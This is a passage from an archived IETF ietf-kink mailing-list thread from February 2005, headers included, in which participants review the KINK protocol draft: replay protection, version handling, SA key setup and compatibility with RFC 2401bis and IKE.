cz.mit.edu (CARTER-ZIMMERMAN.MIT.EDU [18.18.3.197]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j11M5dJN060684 for ; Tue, 1 Feb 2005 14:05:40 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id 6B257E0063; Tue, 1 Feb 2005 17:05:36 -0500 (EST) To: "KAMADA Ken'ichi" Cc: ietf-kink@vpnc.org Subject: Re: AD Review: draft-ietf-kink-kink [starting at section 5] References: <20050129021939.1963F76C87@luminous.mit.edu> <20050201105900MJ%kamada@nanohz.org> From: Sam Hartman Date: Tue, 01 Feb 2005 17:05:36 -0500 In-Reply-To: <20050201105900MJ%kamada@nanohz.org> (KAMADA Ken'ichi's message of "Tue, 01 Feb 2005 10:59:00 +0900") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >>>>> "KAMADA" == KAMADA Ken'ichi writes: KAMADA> issue #13 Replay protection (section 5) KAMADA> At Fri, 28 Jan 2005 21:19:39 -0500 (EST), KAMADA> Sam Hartman wrote: >> [**] The document claims that the transaction id is not used >> for replay detection because Kerberos provides that. How is >> that true? The authenticator is protected against replays but >> how is the rest of the message bound to that specific >> authenticator instead of to a session key of a ticket? KAMADA> The KINK checksum do it. It is calculated from the whole KAMADA> message including the authenticator, so replaying a part KAMADA> of a old message with a newly captured authenticator will KAMADA> not succeed. Thanks, this issue can be closed. From owner-ietf-kink Tue Feb 1 14:06:34 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j11M6YD9060739; Tue, 1 Feb 2005 14:06:34 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j11M6Ye4060738; Tue, 1 Feb 2005 14:06:34 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cz.mit.edu (CARTER-ZIMMERMAN.MIT.EDU [18.18.3.197]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j11M6YOt060732 for ; Tue, 1 Feb 2005 14:06:34 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id E43F0E0063; Tue, 1 Feb 2005 17:06:33 -0500 (EST) To: "KAMADA Ken'ichi" Cc: ietf-kink@vpnc.org Subject: Re: AD review: draft-ietf-kink-kink [section 1-4] References: <20050201115400MZ%kamada@nanohz.org> From: Sam Hartman Date: Tue, 01 Feb 2005 17:06:33 -0500 In-Reply-To: <20050201115400MZ%kamada@nanohz.org> (KAMADA Ken'ichi's message of "Tue, 01 Feb 2005 11:54:00 +0900") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >>>>> "KAMADA" == KAMADA Ken'ichi writes: KAMADA> At Tue, 18 Jan 2005 17:31:08 -0500, KAMADA> Sam Hartman wrote: >> Section 4.3: >> >> [**] I need explicit review from the IPsec reviewer of this >> section to make sure it is compatible with 2401bis. IN >> addition, any differences between how this works and how IKE >> would set up the same SA need to be called out. It is fine for >> there to be differences, but I want to make sure the working >> group explicitly decided the differences are a good thing. >> >> I'm somewhat concerned that 4.3 is not specific enough to >> describe exactly what key gets set up. I.E. I'm concerned it >> may not be detailed enough for interoperable implementations. KAMADA> Section 4.3 describes the message flow and section 7.3 KAMADA> describes the message structure. Differences between KINK KAMADA> and IKE is described in section 7.3 (and also in section KAMADA> 4.4.1, 5.1.7, and 6). I think they are enough to be KAMADA> interoperable (at least regarding SA setup). Is your KAMADA> concern resolved if section 4 referes to section 7? I think everything is clear except for what key ends up getting used for the resulting SA. I think that needs specific text. --Sam From owner-ietf-kink Tue Feb 1 17:54:36 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j121sa9F075695; Tue, 1 Feb 2005 17:54:36 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j121saAj075694; Tue, 1 Feb 2005 17:54:36 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j121sSIU075667 for ; Tue, 1 Feb 2005 17:54:35 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j121sIhB012697 for ; Wed, 2 Feb 2005 10:54:19 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: Re: KINK issue list rev.2 In-Reply-To: Your message of "Mon, 31 Jan 2005 17:06:44 +0900" <20050131170644FW%kamada@nanohz.org> References: <20050131170644FW%kamada@nanohz.org> X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050202105420R.sakane@kame.net> Date: Wed, 02 Feb 2005 10:54:20 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 58 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > #1 [**] Versioning > > what happens when a receiver receives a major or > minor version of the kink or qm that is inconsistent with this > document? What about unknown payload types? (Sam Hartman) > > QM version is discussed in section 12 (Forward Compatibility > Considerations). > > - KINK version > return error (KINK_INVMAJ, KINK_INVMIN) it would be better for me that the document described: - an implementation should return a KINK error with KINK_INVMAJ (or KINK_INVMIN), when an implementation receives an unsupported kink version number in the header. - in the security consideration section, an implementation MUST consider to trust unauthorised messages. > - QM versoin > already specified in section 12. it is clearly described in the section 12. > - KINK payload type > return error (KINK_PROTOERR) it is enough for me that an implementation return a kink error message with this error type. however it would be better that the document had the description of behavior when an implementation received unsupported payload. > - ISAKMP payload type > return error (ISAKMP INVALID-PAYLOAD-TYPE) > (describe each Notify type usage like ikev2 spec.) it is described in RFC2408 when an implementation receives a message contained unsupported ISAKMP payload type. so it may be unneccesary to describe here explicitly. however there are few description in the IKEv1 specification when other errors happen. that will bring an interoperability problem for KINK. so i think the document should have detail descriptions like the IKEv2 specification. > Specify the behavior when the error is not authenticated > in the Security Consideration section. for example, in the draft-ietf-ipsec-ikev2-17.txt: 2.21 Error Handling Errors that occur before a cryptographically protected IKE_SA is established must be handled very carefully. There is a trade-off between wanting to be helpful in diagnosing a problem and responding to it and wanting to avoid being a dupe in a denial of service attack based on forged messages. i am not sure why the description is not in the security consideration. From owner-ietf-kink Tue Feb 1 18:13:55 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j122DtHm077010; Tue, 1 Feb 2005 18:13:55 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j122Dtsk077009; Tue, 1 Feb 2005 18:13:55 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j122DreF077003 for ; Tue, 1 Feb 2005 18:13:54 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j122E5hB012770; Wed, 2 Feb 2005 11:14:05 +0900 (JST) (envelope-from sakane@kame.net) To: mat@cisco.com Cc: ietf-kink@vpnc.org Subject: Re: KINK should referenece to IKEv2? In-Reply-To: Your message of "Thu, 20 Jan 2005 08:33:07 -0800" <1106238787.2951.51.camel@thomasm-lnx.cisco.com> References: <1106238787.2951.51.camel@thomasm-lnx.cisco.com> X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050202111406N.sakane@kame.net> Date: Wed, 02 Feb 2005 11:14:06 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 19 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > Somebody will need to help me (us) here: can > IKEv1 successfully establish 2401bis SA's? Can > IKEv2 successfully establish 2401 SA's? I'm _guessing_ > that the answer to both is "yes", but the big question > is whether there's anything in IKEv2 what is exchanged > across the wire to inform the other side whether it's > 2401 or 2401bis. If so, we may need a similar mechanism. Stephan Kent who is 2401bis author answered to my question in the ipsec mailing list: 2401bis implicitly establishes requirements for certain features for a key/SA management protocol to enable systems to make full use of the IPsec features defined in 2401bis. IKEv2 satisfies these requirements; IKE v1 does not. It's way too late to suggest that we degrade requirements in 2401bis to be backwards compatible with IKE v1. it seems that IKEv1 does not work on 2401bis. From owner-ietf-kink Tue Feb 1 18:25:34 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j122PYRq078398; Tue, 1 Feb 2005 18:25:34 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j122PY3P078397; Tue, 1 Feb 2005 18:25:34 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cz.mit.edu (STRATTON-FIVE-EIGHTY-TWO.MIT.EDU [18.187.7.71]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j122PXmK078391 for ; Tue, 1 Feb 2005 18:25:34 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id D69C8E0063; Tue, 1 Feb 2005 21:25:30 -0500 (EST) To: Shoichi Sakane Cc: ietf-kink@vpnc.org Subject: Re: KINK issue list rev.2 References: <20050131170644FW%kamada@nanohz.org> <20050202105420R.sakane@kame.net> From: Sam Hartman Date: Tue, 01 Feb 2005 21:25:30 -0500 In-Reply-To: <20050202105420R.sakane@kame.net> (Shoichi Sakane's message of "Wed, 02 Feb 2005 10:54:20 +0900") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Speaking as an individual, normally when there is a major version and a minor version the intent is that using a greater minor version than one side expects is acceptable. --Sam From owner-ietf-kink Tue Feb 1 18:27:56 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j122RuiB078509; Tue, 1 Feb 2005 18:27:56 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j122Rudc078508; Tue, 1 Feb 2005 18:27:56 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j122RtgN078501 for ; Tue, 1 Feb 2005 18:27:55 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j122S0hB012860; Wed, 2 Feb 2005 11:28:01 +0900 (JST) (envelope-from sakane@kame.net) To: hartmans-ietf@mit.edu Cc: ietf-kink@vpnc.org Subject: Re: AD review: draft-ietf-kink-kink [section 1-4] In-Reply-To: Your message of "Tue, 18 Jan 2005 17:31:08 -0500" References: X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050202112802J.sakane@kame.net> Date: Wed, 02 Feb 2005 11:28:02 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 26 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > Section 4.3: > > [**] I need explicit review from the IPsec reviewer of this section to > make sure it is compatible with 2401bis. IN addition, any differences > between how this works and how IKE would set up the same SA need to be > called out. It is fine for there to be differences, but I want to > make sure the working group explicitly decided the differences are a > good thing. i dont think there are differneces between them. because KINK just carries IKEv1 quick mode. KINK can establish the same SA that IKEv1 do so. note that i am supposing that KINK complies to 2401 at the first step. if we choice 2401bis, my saying is wrong. > I'm somewhat concerned that 4.3 is not specific enough to describe > exactly what key gets set up. I.E. I'm concerned it may not be > detailed enough for interoperable implementations. could you tell me lack of things for interoperability in this document. i think that there is detail description in the section 7 how KINK establish SAs. IKEv1 specification does not describe the deatils. that was undoubted problem for interoperability. if the description of the section 7 is enough, then this is editorial issue. we need to improve the text. From owner-ietf-kink Tue Feb 1 18:49:30 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j122nUCm080482; Tue, 1 Feb 2005 18:49:30 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j122nUm0080481; Tue, 1 Feb 2005 18:49:30 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j122nG3m080466 for ; Tue, 1 Feb 2005 18:49:29 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j122nThB012971 for ; Wed, 2 Feb 2005 11:49:29 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: Re: KINK issue list rev.2 In-Reply-To: Your message of "Tue, 01 Feb 2005 21:25:30 -0500" References: X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050202114930V.sakane@kame.net> Date: Wed, 02 Feb 2005 11:49:30 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 5 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > Speaking as an individual, normally when there is a major version and > a minor version the intent is that using a greater minor version than > one side expects is acceptable. correct. do you comment that the document does not touch a minor version ? From owner-ietf-kink Tue Feb 1 19:08:08 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1238826082057; Tue, 1 Feb 2005 19:08:08 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j123882B082056; Tue, 1 Feb 2005 19:08:08 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cz.mit.edu (STRATTON-FIVE-EIGHTY-TWO.MIT.EDU [18.187.7.71]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j12388wR082049 for ; Tue, 1 Feb 2005 19:08:08 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id 442C9E0075; Tue, 1 Feb 2005 22:08:06 -0500 (EST) To: Shoichi Sakane Cc: ietf-kink@vpnc.org Subject: Re: AD review: draft-ietf-kink-kink [section 1-4] References: <20050202112802J.sakane@kame.net> From: Sam Hartman Date: Tue, 01 Feb 2005 22:08:06 -0500 In-Reply-To: <20050202112802J.sakane@kame.net> (Shoichi Sakane's message of "Wed, 02 Feb 2005 11:28:02 +0900") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >>>>> "Shoichi" == Shoichi Sakane writes: Shoichi> the same SA that IKEv1 do so. Shoichi> note that i am supposing Shoichi> that KINK complies to 2401 at the first step. if we Shoichi> choice 2401bis, my saying is wrong. I'm confused why 2401/2401bis matters for this. From owner-ietf-kink Tue Feb 1 19:51:38 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j123pbmS084152; Tue, 1 Feb 2005 19:51:37 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j123pbUl084151; Tue, 1 Feb 2005 19:51:37 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j123pWj3084142 for ; Tue, 1 Feb 2005 19:51:37 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j123pjhB013257 for ; Wed, 2 Feb 2005 12:51:45 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: Re: AD review: draft-ietf-kink-kink [section 1-4] In-Reply-To: Your message of "Tue, 01 Feb 2005 22:08:06 -0500" References: X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050202125146Y.sakane@kame.net> Date: Wed, 02 Feb 2005 12:51:46 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 11 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > >>>>> "Shoichi" == Shoichi Sakane writes: > > Shoichi> the same SA that IKEv1 do so. > > Shoichi> note that i am supposing > Shoichi> that KINK complies to 2401 at the first step. if we > Shoichi> choice 2401bis, my saying is wrong. > I'm confused why 2401/2401bis matters for this. i should say that i did not consider 2401bis manner. if we choice 2401bis, then there might be difference between them or no. From owner-ietf-kink Wed Feb 2 10:56:58 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j12IuwmF095493; Wed, 2 Feb 2005 10:56:58 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j12IuwUQ095492; Wed, 2 Feb 2005 10:56:58 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cz.mit.edu (CARTER-ZIMMERMAN.MIT.EDU [18.18.3.197]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j12IuvRg095485 for ; Wed, 2 Feb 2005 10:56:57 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id 39C7AE0063; Wed, 2 Feb 2005 13:56:54 -0500 (EST) To: Shoichi Sakane Cc: ietf-kink@vpnc.org Subject: Re: AD review: draft-ietf-kink-kink [section 1-4] References: <20050202112802J.sakane@kame.net> From: Sam Hartman Date: Wed, 02 Feb 2005 13:56:54 -0500 In-Reply-To: <20050202112802J.sakane@kame.net> (Shoichi Sakane's message of "Wed, 02 Feb 2005 11:28:02 +0900") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >>>>> "Shoichi" == Shoichi Sakane writes: >> Section 4.3: >> >> [**] I need explicit review from the IPsec reviewer of this >> section to make sure it is compatible with 2401bis. IN >> addition, any differences between how this works and how IKE >> would set up the same SA need to be called out. It is fine for >> there to be differences, but I want to make sure the working >> group explicitly decided the differences are a good thing. Shoichi> i dont think there are differneces between them. because Shoichi> KINK just carries IKEv1 quick mode. KINK can establish Shoichi> the same SA that IKEv1 do so. Section 4.3 calls out a lot of explicit detail. For example it says exactly when to add SAs to the SPD, etc. This detail is presented as Kink specific. I am asking for review to confirm that this detail did not conflict with anything in the IKE spec. If section 4.3 said to just do what IKE does, I would not have called it out. I think section 4.3 is well written and it is good to have. I just want to make sure there is not an inconsistency. From owner-ietf-kink Wed Feb 2 11:06:53 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j12J6r9M096374; Wed, 2 Feb 2005 11:06:53 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j12J6r9Z096373; Wed, 2 Feb 2005 11:06:53 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cz.mit.edu (CARTER-ZIMMERMAN.MIT.EDU [18.18.3.197]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j12J6qOj096365 for ; Wed, 2 Feb 2005 11:06:52 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id 3C3D6E0063; Wed, 2 Feb 2005 14:06:49 -0500 (EST) To: Shoichi Sakane Cc: ietf-kink@vpnc.org Subject: Re: KINK issue list rev.2 References: <20050202114930V.sakane@kame.net> From: Sam Hartman Date: Wed, 02 Feb 2005 14:06:49 -0500 In-Reply-To: <20050202114930V.sakane@kame.net> (Shoichi Sakane's message of "Wed, 02 Feb 2005 11:49:30 +0900") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >>>>> "Shoichi" == Shoichi Sakane writes: >> Speaking as an individual, normally when there is a major >> version and a minor version the intent is that using a greater >> minor version than one side expects is acceptable. Shoichi> correct. do you comment that the document does not touch Shoichi> a minor version ? Correct. The only thing I find is an invalid minor version error and a requirement that implementations MUST use version 1.0. It doesn't say what happens if a recipient receives a greater minor version. Again, if the WG wants to use minor versions the same as major versions, that's OK but needs to be called out because it is not what people expect. --Sam From owner-ietf-kink Wed Feb 2 11:19:42 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j12JJgPc097234; Wed, 2 Feb 2005 11:19:42 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j12JJgxe097233; Wed, 2 Feb 2005 11:19:42 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cz.mit.edu (CARTER-ZIMMERMAN.MIT.EDU [18.18.3.197]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j12JJbp6097212 for ; Wed, 2 Feb 2005 11:19:37 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id 826DAE0063; Wed, 2 Feb 2005 14:19:35 -0500 (EST) To: Shoichi Sakane Cc: mat@cisco.com, ietf-kink@vpnc.org, kent@bbn.com Subject: Re: KINK should referenece to IKEv2? References: <1106238787.2951.51.camel@thomasm-lnx.cisco.com> <20050202111406N.sakane@kame.net> From: Sam Hartman Date: Wed, 02 Feb 2005 14:19:35 -0500 In-Reply-To: <20050202111406N.sakane@kame.net> (Shoichi Sakane's message of "Wed, 02 Feb 2005 11:14:06 +0900") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: [Adding Steve to make sure I'm not misrepresenting what he means.] >>>>> "Shoichi" == Shoichi Sakane writes: >> Somebody will need to help me (us) here: can IKEv1 successfully >> establish 2401bis SA's? Can IKEv2 successfully establish 2401 >> SA's? I'm _guessing_ that the answer to both is "yes", but the >> big question is whether there's anything in IKEv2 what is >> exchanged across the wire to inform the other side whether it's >> 2401 or 2401bis. If so, we may need a similar mechanism. Shoichi> Stephan Kent who is 2401bis author answered to my Shoichi> question in the ipsec mailing list: Shoichi> 2401bis implicitly establishes requirements for Shoichi> certain features for a key/SA management protocol to Shoichi> enable systems to make full use of the IPsec features Shoichi> defined in 2401bis. IKEv2 satisfies these requirements; Shoichi> IKE v1 does not. It's way too late to suggest that we Shoichi> degrade requirements in 2401bis to be backwards Shoichi> compatible with IKE v1. Shoichi> it seems that IKEv1 does not work on 2401bis. That's not how I read what Steve is saying. A 2401bissystem can support IKEv1. However the 2401bis SPD can require the system to do things that IKEv1 cannot do. Put another way, a 2401bis system can have multiple key management protocols. At least one of these protocols needs to support all the attributes of a 2401bis SPD. For this reason and because it is explicitly required, 2401bis systems MUST support ikev2. I'm not trying to require Kink to support all features that 2401bis requires from a key management protocol. It's fine if on a 2401bis system sometimes the IPsec architecture requests Kink to set up a SA but Kink fails because it does not support something about the SA. What I am requiring is that Kink work with a 2401bis system. That is, the Kink specification needs to use the same terminology and model as 2401bis. Similarly it needs to be possible to implement Kink on a 2401bis system and the only problem should be that some features 2401bis would like to have from an automated key management protocol are not available. --Sam From owner-ietf-kink Wed Feb 2 11:53:25 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j12JrPbH000262; Wed, 2 Feb 2005 11:53:25 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j12JrPSJ000261; Wed, 2 Feb 2005 11:53:25 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from aragorn.bbn.com (aragorn.bbn.com [128.33.0.62]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j12JrKDE000247 for ; Wed, 2 Feb 2005 11:53:20 -0800 (PST) (envelope-from kent@bbn.com) Received: from [198.202.64.63] (ramblo.bbn.com [128.33.0.51]) by aragorn.bbn.com (8.12.7/8.12.7) with ESMTP id j12Jp0jf007390; Wed, 2 Feb 2005 14:51:01 -0500 (EST) Mime-Version: 1.0 Message-Id: In-Reply-To: References: <1106238787.2951.51.camel@thomasm-lnx.cisco.com> <20050202111406N.sakane@kame.net> Date: Wed, 2 Feb 2005 14:47:21 -0500 To: Sam Hartman From: Stephen Kent Subject: Re: KINK should referenece to IKEv2? Cc: Shoichi Sakane , mat@cisco.com, ietf-kink@vpnc.org, Stephen Kent Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At 2:19 PM -0500 2/2/05, Sam Hartman wrote: >[Adding Steve to make sure I'm not misrepresenting what he means.] > Sam, Your characterization of 2401bis is correct, i.e., if one chooses to use IKEv1 with a 2401bis implementation, then it may not be possible to instantiate some SAs, i.e., ones that make use of new SPD features. Steve From owner-ietf-kink Wed Feb 2 12:10:51 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j12KApTx001634; Wed, 2 Feb 2005 12:10:51 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j12KApX1001633; Wed, 2 Feb 2005 12:10:51 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from sj-iport-3.cisco.com (sj-iport-3-in.cisco.com [171.71.176.72]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j12KAoAd001611 for ; Wed, 2 Feb 2005 12:10:50 -0800 (PST) (envelope-from mat@cisco.com) Received: from sj-core-2.cisco.com (171.71.177.254) by sj-iport-3.cisco.com with ESMTP; 02 Feb 2005 13:21:08 +0000 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== Received: from imail.cisco.com (imail.cisco.com [128.107.200.91]) by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id j12KAbHo023954; Wed, 2 Feb 2005 12:10:37 -0800 (PST) Received: from thomasm-lnx.cisco.com (thomasm-lnx.cisco.com [171.71.96.50]) by imail.cisco.com (8.12.11/8.12.10) with 